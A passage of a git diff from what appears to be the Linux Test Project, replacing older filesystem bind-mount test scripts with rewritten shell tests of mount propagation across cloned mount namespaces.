-SETS_DEFAULTS="${TCID=test24} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST24***************"
-tst_resm TINFO "bind: shared child to shared parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test24 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share dir1
-	mkdir dir1/1 dir1/1/2 dir1/1/2/3 dir1/1/2/check dir2 dir3 dir4
-	touch dir4/ls
-
-	mount --bind dir1/1/2 dir2
-	"${FS_BIND_ROOT}/bin/makedir" slave dir1
-	"${FS_BIND_ROOT}/bin/makedir" -n share dir1
-
-	mount --bind dir1/1/2/3 dir3
-	"${FS_BIND_ROOT}/bin/makedir" slave dir1
-
-	mount --bind dir4 dir2/check
-
-	check dir1/1/2/check/ dir4
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test24: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test24: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount dir2/check
-	umount dir3
-	umount dir2
-	umount dir1
-
-
-	rm -rf dir*
-
-
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "bind/test24: FAILED: bind: shared child to shared parent."
-	exit 1
-else
-	tst_resm TPASS "bind/test24: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/00_Descriptions.txt b/testcases/kernel/fs/fs_bind/cloneNS/00_Descriptions.txt
deleted file mode 100644
index 8c616cc..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/00_Descriptions.txt
+++ /dev/null
@@ -1,70 +0,0 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) International Business Machines  Corp., 2008                 */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/******************************************************************************/
-
-OO_DESCRIPTION.txt
-==================
-
-The contents of the cloneNS directory:
-test01 - namespace with shared dirs
-test02 - namespaces with parent-slave
-test03 - namespace with unclonable mount
-test04 - namespace with private mount.
-test05 - namespace with multi-level
-test06 - namespace with shared point bind mounted
-test07 - slave child to slave parent.
-
-
-test01:
-=======
-namespace with shared dirs
-
-
-test02:
-=======
-namespaces with parent-slave
-
-
-test03:
-=======
-namespace with unclonable mount
-
-
-test04:
-=======
-namespace with private mount.
-
-
-test05:
-=======
-namespace with multi-level
-chain of slaves
-
-
-test06:
-=======
-namespace with shared point bind mounted
-within the same directory
-
-
-test07:
-=======
-slave child to slave parent.
-
-
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/Makefile b/testcases/kernel/fs/fs_bind/cloneNS/Makefile
new file mode 100644
index 0000000..4823326
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/cloneNS/Makefile
@@ -0,0 +1,11 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
+# Ngie Cooper, July 2009
+
+top_srcdir			?= ../../../../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+
+INSTALL_TARGETS			:= fs_bind*
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/child01 b/testcases/kernel/fs/fs_bind/cloneNS/child01
deleted file mode 100755
index 4e66794..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/child01
+++ /dev/null
@@ -1,34 +0,0 @@
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-. "${FS_BIND_ROOT}/bin/setup"
-. "${FS_BIND_ROOT}/bin/setupnslock"
-
-startchild
-goahead
-iamgoingahead
-
-
-result=0
-check "$disk2" dir1/a dir2/a
-mount --bind "$disk3" dir1/b
-check dir1/b dir2/b
-
-exit $result
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/child02 b/testcases/kernel/fs/fs_bind/cloneNS/child02
deleted file mode 100755
index b46e8d1..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/child02
+++ /dev/null
@@ -1,42 +0,0 @@
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-. "${FS_BIND_ROOT}/bin/setup"
-. "${FS_BIND_ROOT}/bin/setupnslock"
-
-startchild
-goahead
-iamgoingahead
-
-
-result=0
-
-check "$disk2" dir1/a dir2/a
-check -n "$disk3" d2/b
-check -n "$disk3" d1/b
-
-mount --bind "$disk4" dir1/c
-check dir1/c dir2/c
-
-umount dir2/a
-check -n dir1/a dir2/a
-
-
-exit $result
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/child03 b/testcases/kernel/fs/fs_bind/cloneNS/child03
deleted file mode 100755
index 2b78bc3..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/child03
+++ /dev/null
@@ -1,32 +0,0 @@
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-. "${FS_BIND_ROOT}/bin/setup"
-. "${FS_BIND_ROOT}/bin/setupnslock"
-
-startchild
-goahead
-iamgoingahead
-
-
-result=0
-check "$disk1" dir1
-
-exit $result
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/child04 b/testcases/kernel/fs/fs_bind/cloneNS/child04
deleted file mode 100755
index b6ba67c..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/child04
+++ /dev/null
@@ -1,33 +0,0 @@
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-. "${FS_BIND_ROOT}/bin/setup"
-. "${FS_BIND_ROOT}/bin/setupnslock"
-
-startchild
-goahead
-iamgoingahead
-
-
-result=0
-check -n "$disk2" dir1/a
-mount --bind "$disk3" dir1/b
-
-exit $result
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/child05 b/testcases/kernel/fs/fs_bind/cloneNS/child05
deleted file mode 100755
index a82cbb2..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/child05
+++ /dev/null
@@ -1,41 +0,0 @@
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-. "${FS_BIND_ROOT}/bin/setup"
-. "${FS_BIND_ROOT}/bin/setupnslock"
-
-startchild
-goahead
-iamgoingahead
-
-
-result=0
-
-check "$disk2" parent/child1/a parent/child2/child1/a
-check "$disk3" parent/child1/b parent/child2/child1/b
-
-mount --bind "$disk4" parent/child2/child1/c
-check parent/child2/child1/c parent/child1/c
-
-umount parent/child1/b
-check parent/child2/child1/b parent/child1/b
-
-
-exit $result
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/child06 b/testcases/kernel/fs/fs_bind/cloneNS/child06
deleted file mode 100755
index 5abbf97..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/child06
+++ /dev/null
@@ -1,49 +0,0 @@
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-. "${FS_BIND_ROOT}/bin/setup"
-. "${FS_BIND_ROOT}/bin/setupnslock"
-
-startchild
-goahead
-iamgoingahead
-
-
-result=0
-
-check dir1/x dir2/x dir3/x dir4/x
-
-echo ls dir1/x/a
-ls dir1/x/a
-check -n dir1/x/a dir2/x/a
-check "$disk2" dir2/x/a dir3/x/a dir4/x/a
-
-mount --rbind "$disk3" dir3/x/b
-check -n dir1/x/b dir3/x/b
-check -n dir2/x/b dir3/x/b
-check dir3/x/b dir4/x/b
-
-mount --rbind "$disk4" dir4/x/c
-check -n dir1/x/c dir4/x/c
-check -n dir2/x/c dir4/x/c
-check -n dir3/x/c dir4/x/c
-
-
-exit $result
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/child07 b/testcases/kernel/fs/fs_bind/cloneNS/child07
deleted file mode 100755
index 50c4965..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/child07
+++ /dev/null
@@ -1,42 +0,0 @@
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-. "${FS_BIND_ROOT}/bin/setup"
-. "${FS_BIND_ROOT}/bin/setupnslock"
-
-startchild
-goahead
-iamgoingahead
-
-
-result=0
-
-check parent2 parent2/a parent2/a/a
-check parent2/b parent2/a/b parent2/a/a/b
-
-mount --bind "$disk3" parent1/a/c
-check parent2/c parent2/a/c parent2/a/a/c
-
-goahead
-iamgoingahead
-check parent2/c parent2/a/c parent2/a/a/c
-
-
-exit $result
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS01.sh b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS01.sh
new file mode 100755
index 0000000..a82eee6
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS01.sh
@@ -0,0 +1,38 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "cloneNS: namespace with shared dirs"
+
+	fs_bind_makedir rshared dir1
+	fs_bind_makedir rshared dir2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" dir1
+	EXPECT_PASS mount --bind dir1 dir2
+
+	fs_bind_create_ns
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" dir2/a
+	fs_bind_check dir1/a dir2/a
+
+	fs_bind_check -s "$FS_BIND_DISK2" dir1/a dir2/a
+	fs_bind_exec_ns mount --bind "$PWD/$FS_BIND_DISK3" $PWD/dir1/b
+	fs_bind_check -s dir1/b dir2/b
+
+	EXPECT_PASS umount dir1/b
+	EXPECT_PASS umount dir2/a
+	EXPECT_PASS umount dir2
+	EXPECT_PASS umount dir1
+	EXPECT_PASS umount dir2
+	EXPECT_PASS umount dir1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS02.sh b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS02.sh
new file mode 100755
index 0000000..ef6e8f6
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS02.sh
@@ -0,0 +1,53 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "cloneNS: namespaces with parent-slave"
+
+	fs_bind_makedir rshared dir1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" dir1
+
+	mkdir dir2
+	EXPECT_PASS mount --bind dir1 dir2
+	EXPECT_PASS mount --make-slave dir2
+
+	fs_bind_create_ns
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" dir1/a
+	fs_bind_check dir1/a dir2/a
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" dir2/b
+	fs_bind_check -n dir1/b dir2/b
+
+
+	fs_bind_check -s "$FS_BIND_DISK2" dir1/a dir2/a
+	fs_bind_check -s -n "$FS_BIND_DISK3" dir2/b
+	fs_bind_check -s -n "$FS_BIND_DISK3" dir1/b
+	fs_bind_exec_ns mount --bind "$PWD/$FS_BIND_DISK4" $PWD/dir1/c
+	fs_bind_check -s dir1/c dir2/c
+
+	fs_bind_exec_ns umount $PWD/dir2/a
+	fs_bind_check -s -n dir1/a dir2/a
+
+
+	fs_bind_check "$FS_BIND_DISK2" dir1/a dir2/a
+	fs_bind_check "$FS_BIND_DISK4" dir1/c dir2/c
+
+	fs_bind_destroy_ns
+
+	EXPECT_PASS umount dir1/c
+	EXPECT_PASS umount dir1/a
+	EXPECT_PASS umount dir2/b
+	EXPECT_PASS umount dir2
+	EXPECT_PASS umount dir1
+	EXPECT_PASS umount dir1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS03.sh b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS03.sh
new file mode 100755
index 0000000..e6e84a1
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS03.sh
@@ -0,0 +1,27 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "cloneNS: namespace with unclonable mount"
+
+	fs_bind_makedir runbindable dir1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" dir1
+	fs_bind_check "$FS_BIND_DISK1" dir1
+
+	fs_bind_create_ns
+
+	fs_bind_check -s "$FS_BIND_DISK1" dir1
+
+	EXPECT_PASS umount dir1
+	EXPECT_PASS umount dir1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS04.sh b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS04.sh
new file mode 100755
index 0000000..7b8088e
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS04.sh
@@ -0,0 +1,31 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "cloneNS: namespace with private mount"
+
+	fs_bind_makedir private dir1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" dir1
+	fs_bind_create_ns
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" dir1/a
+
+	fs_bind_check -s -n "$FS_BIND_DISK2" dir1/a
+	fs_bind_exec_ns mount --bind "$PWD/$FS_BIND_DISK3" "$PWD/dir1/b"
+
+	fs_bind_check -n "$FS_BIND_DISK3" dir1/b
+
+	EXPECT_PASS umount dir1/a
+	EXPECT_PASS umount dir1
+	EXPECT_PASS umount dir1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS05.sh b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS05.sh
new file mode 100755
index 0000000..8c0dbcd
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS05.sh
@@ -0,0 +1,55 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "cloneNS: namespace with multi-level chain of slaves"
+
+	fs_bind_makedir rshared parent
+	fs_bind_makedir rshared parent/child1
+	fs_bind_makedir rshared parent/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent/child1
+	EXPECT_PASS mount --rbind parent parent/child2
+
+	fs_bind_create_ns
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent/child1/a
+	fs_bind_check parent/child1/a parent/child2/child1/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent/child2/child1/b
+	fs_bind_check parent/child1/b parent/child2/child1/b
+
+
+	fs_bind_check -s "$FS_BIND_DISK2" parent/child1/a parent/child2/child1/a
+	fs_bind_check -s "$FS_BIND_DISK3" parent/child1/b parent/child2/child1/b
+
+	fs_bind_exec_ns mount --bind "$PWD/$FS_BIND_DISK4" "$PWD/parent/child2/child1/c"
+	fs_bind_check -scheck parent/child2/child1/c parent/child1/c
+
+	fs_bind_exec_ns umount "$PWD/parent/child1/b"
+	fs_bind_check -s parent/child2/child1/b parent/child1/b
+
+
+	fs_bind_check "$FS_BIND_DISK4" parent/child2/child1/c parent/child1/c
+	fs_bind_check -n "$FS_BIND_DISK3" parent/child1/b
+	fs_bind_check parent/child1/b parent/child2/child1/b
+
+
+	EXPECT_PASS umount parent/child2/child1/c
+	EXPECT_PASS umount parent/child2/child1/a
+	EXPECT_PASS umount parent/child2/child1
+	EXPECT_PASS umount parent/child2/child1
+	EXPECT_PASS umount parent/child2/child2
+	EXPECT_PASS umount parent/child2
+	EXPECT_PASS umount parent
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS06.sh b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS06.sh
new file mode 100755
index 0000000..7abd709
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS06.sh
@@ -0,0 +1,77 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "cloneNS: namespace with shared point bind mounted within the same directory"
+
+	fs_bind_makedir rshared dir1
+
+	mkdir dir1/x dir2 dir3 dir4
+
+	EXPECT_PASS mount --rbind dir1 dir2
+	EXPECT_PASS mount --make-rslave dir2
+	EXPECT_PASS mount --make-rshared dir2
+
+	EXPECT_PASS mount --rbind dir2 dir3
+	EXPECT_PASS mount --make-rslave dir3
+	EXPECT_PASS mount --make-rshared dir3
+
+	EXPECT_PASS mount --rbind dir3 dir4
+	EXPECT_PASS mount --make-rslave dir4
+
+	fs_bind_create_ns
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" dir1/x
+
+	fs_bind_check dir1/x dir2/x dir3/x dir4/x
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" dir2/x/a
+	fs_bind_check -n dir1/x/a dir2/x/a
+	fs_bind_check dir2/x/a dir3/x/a dir4/x/a
+
+
+	fs_bind_check -s dir1/x dir2/x dir3/x dir4/x
+
+	fs_bind_check -s -n dir1/x/a dir2/x/a
+	fs_bind_check -s "$FS_BIND_DISK2" dir2/x/a dir3/x/a dir4/x/a
+
+	fs_bind_exec_ns mount --rbind "$PWD/$FS_BIND_DISK3" "$PWD/dir3/x/b"
+	fs_bind_check -s -n dir1/x/b dir3/x/b
+	fs_bind_check -s -n dir2/x/b dir3/x/b
+	fs_bind_check -s dir3/x/b dir4/x/b
+
+	fs_bind_exec_ns mount --rbind "$PWD/$FS_BIND_DISK4" "$PWD/dir4/x/c"
+	fs_bind_check -s -n dir1/x/c dir4/x/c
+	fs_bind_check -s -n dir2/x/c dir4/x/c
+	fs_bind_check -s -n dir3/x/c dir4/x/c
+
+
+	fs_bind_check -n dir1/x/b dir3/x/b
+	fs_bind_check -n dir2/x/b dir3/x/b
+	fs_bind_check dir3/x/b dir4/x/b
+	fs_bind_check "$FS_BIND_DISK3" dir3/x/b
+
+	fs_bind_check -n "$FS_BIND_DISK4" dir4/x/c
+	fs_bind_check dir1/x/c dir2/x/c dir3/x/c dir4/x/c
+
+
+	EXPECT_PASS umount dir3/x/b
+	EXPECT_PASS umount dir3/x/a
+	EXPECT_PASS umount dir2/x/a
+	EXPECT_PASS umount dir2/x
+	EXPECT_PASS umount dir1/x
+	EXPECT_PASS umount dir4
+	EXPECT_PASS umount dir3
+	EXPECT_PASS umount dir2
+	EXPECT_PASS umount dir1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS07.sh b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS07.sh
new file mode 100755
index 0000000..7f675b0
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS07.sh
@@ -0,0 +1,55 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "cloneNS: slave child to slave parent"
+
+	mkdir parent1 parent2
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1
+	EXPECT_PASS mount --make-rshared parent1
+	EXPECT_PASS mount --bind parent1 parent2
+
+	fs_bind_check parent1 parent2
+
+	EXPECT_PASS mount --move parent1 parent2/a
+
+	fs_bind_check parent2 parent2/a parent2/a/a
+
+	fs_bind_create_ns
+
+	fs_bind_check parent2 parent2/a parent2/a/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent2/b
+	fs_bind_check parent2/b parent2/a/b parent2/a/a/b
+
+
+	fs_bind_check -s parent2 parent2/a parent2/a/a
+	fs_bind_check -s parent2/b parent2/a/b parent2/a/a/b
+
+	fs_bind_exec_ns mount --bind "$PWD/$FS_BIND_DISK3" "$PWD/parent2/a/c"
+	fs_bind_check -s parent2/c parent2/a/c parent2/a/a/c
+
+
+	fs_bind_check parent2 parent2/a parent2/a/a
+	fs_bind_check parent2/c parent2/a/c parent2/a/a/c
+
+	EXPECT_PASS umount parent2/a/a/c
+	fs_bind_check parent2/c parent2/a/c parent2/a/a/c
+
+
+	fs_bind_check -s parent2/c parent2/a/c parent2/a/a/c
+
+	EXPECT_PASS umount parent2/a/b
+	EXPECT_PASS umount parent2/a/a
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/parent01 b/testcases/kernel/fs/fs_bind/cloneNS/parent01
deleted file mode 100755
index afeb5bf..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/parent01
+++ /dev/null
@@ -1,44 +0,0 @@
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-. "${FS_BIND_ROOT}/bin/setup"
-. "${FS_BIND_ROOT}/bin/setupnslock"
-
-startparent
-iamgoingahead
-
-
-result=0
-
-ls
-ls dir*
-mount --bind "$disk2" dir2/a
-check dir1/a dir2/a
-echo dir1/a
-ls dir1/a
-
-goahead
-iamgoingahead
-check "$disk3" dir1/b dir2/b
-echo dir2/b
-ls dir2/b
-
-exit $result
-
diff --git a/testcases/kernel/fs/fs_bind/cloneNS/parent02 b/testcases/kernel/fs/fs_bind/cloneNS/parent02
deleted file mode 100755
index 56b3c90..0000000
--- a/testcases/kernel/fs/fs_bind/cloneNS/parent02
+++ /dev/null
@@ -1,45 +0,0 @@
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-. "${FS_BIND_ROOT}/bin/setup"
-. "${FS_BIND_ROOT}/bin/setupnslock"
-
-startparent
-iamgoingahead
-
-
-result=0
-
-ls
-ls dir*
-mount --bind "$disk2" dir1/a
-check dir1/a dir2/a
-
